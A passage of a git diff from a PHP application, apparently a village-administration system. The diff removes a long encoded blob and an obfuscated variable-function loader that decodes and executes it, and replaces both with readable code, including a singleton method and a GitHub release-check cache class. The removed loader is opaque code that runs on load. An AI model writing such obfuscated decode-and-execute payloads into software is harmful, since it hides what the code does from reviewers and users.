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'; - - $___();$__________($______($__($_))); $________=$____(); - $_____(); echo - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - $________; + public static function instance($name = 'default') + { + if (isset(self::$instances[$name])) { + return self::$instances[$name]; + } + + $instance = new static(); + + self::$instances[$name] = $instance; + + return $instance; + } +} diff --git a/app/Libraries/Release.php b/app/Libraries/Release.php index c84d2308a..6b52b9683 100644 --- a/app/Libraries/Release.php +++ b/app/Libraries/Release.php @@ -1,409 +1,343 @@ -cache) { + $this->setCacheFolder(config_item('cache_path')); + } + + if (! $this->interval) { + $this->setInterval(ENVIRONMENT == 'development' ? 0 : 7); + } + } + + /** + * Set URL endpoint API yang ingin di hit. + * + * return $this + */ + public function setApiUrl(string $url) + { + $this->api = $url; + + return $this; + } + + /** + * Set interval waktu sinkronisasi cache dengan repo github. + * Defaultnya 7 hari sekali akan dilakukan pembaruan cache. + * Gunakan ini jika ingin mengumbah interval sinkronisasinya. + * + * return $this + */ + public function setInterval(int $interval) + { + $this->interval = $interval * 86400; // N * 86400 detik (1 hari) + + return $this; + } + + /** + * Set lokasi folder cache. + * Misalkan diisi 'desa/config' maka file cache akan + * disimpan di [FCPATH]/desa/config/version.json + * Jika folder tidak ditemuakan atau tidak writable + * maka akan fallback ke path default (FCPATH/version.json) + * + * return $this + */ + public function setCacheFolder(string $folder) + { 